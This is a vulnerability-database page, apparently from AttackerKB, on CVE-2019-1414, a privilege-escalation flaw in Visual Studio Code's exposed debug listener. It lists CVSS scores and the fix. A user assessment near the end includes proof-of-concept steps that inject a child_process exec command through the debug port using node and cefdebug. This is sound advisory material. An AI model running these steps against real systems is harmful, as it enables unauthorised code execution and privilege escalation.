Lucene search

K
attackerkbAttackerKBAKB:A51CC742-F2B2-4457-874B-FACA8009E8C2
HistoryJan 24, 2020 - 12:00 a.m.

CVE-2019-1414

2020-01-2400:00:00
attackerkb.com
14

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer, aka ‘Visual Studio Code Elevation of Privilege Vulnerability’.

Recent assessments:

goodlandsecurity at May 20, 2020 2:28am UTC reported:

Vulnerability:

  • An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer. A local attacker who successfully exploited the vulnerability could inject arbitrary code to run in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

Software Versions Affected:

  • All versions < 1.39.1

Vulnerability Severity:

  • High

Vulnerability Fix:

  • Upgrade VS Code to version 1.39.1 or later.

Vulnerability POC:

  • If Visual Studio code runs as Administrator, privileges can be elevated to the highest level, i.e. NT AUTHORITY\SYSTEM.

  • If Visual Studio Code runs as another user, command execution can be achieved as that user.

  • If Visual Studio Code runs in High Integrity context, any UAC settings can bypassed and can elevate from Low/Medium levels.

  • Linux (Article detailing the exploit):

    1. ps aux | grep inspect
    • Find the debug port
    1. node index.js 127.0.0.1 &lt;PORT&gt; &lt;COMMAND&gt;
    • Run index.js supplied with the ip address, port, and command you want to run
  • Windows:

    1. ./cefdebug.exe
    • Find the debug port

    • cefdebug is a minimal commandline utility and/or reference code for using libwebsockets to connect to an electron/CEF/chromium debugger.
      2 ./cefdebug.exe —url ws://127.0.0.1:&lt;PORT&gt;/&lt;UUID&gt; —code “process.mainModule.require(‘child_process’).exec(’&lt;COMMAND&gt;’)”

    • Run cefdebug supplied with the debug websocket url and the command you want to run

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 3

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

Related for AKB:A51CC742-F2B2-4457-874B-FACA8009E8C2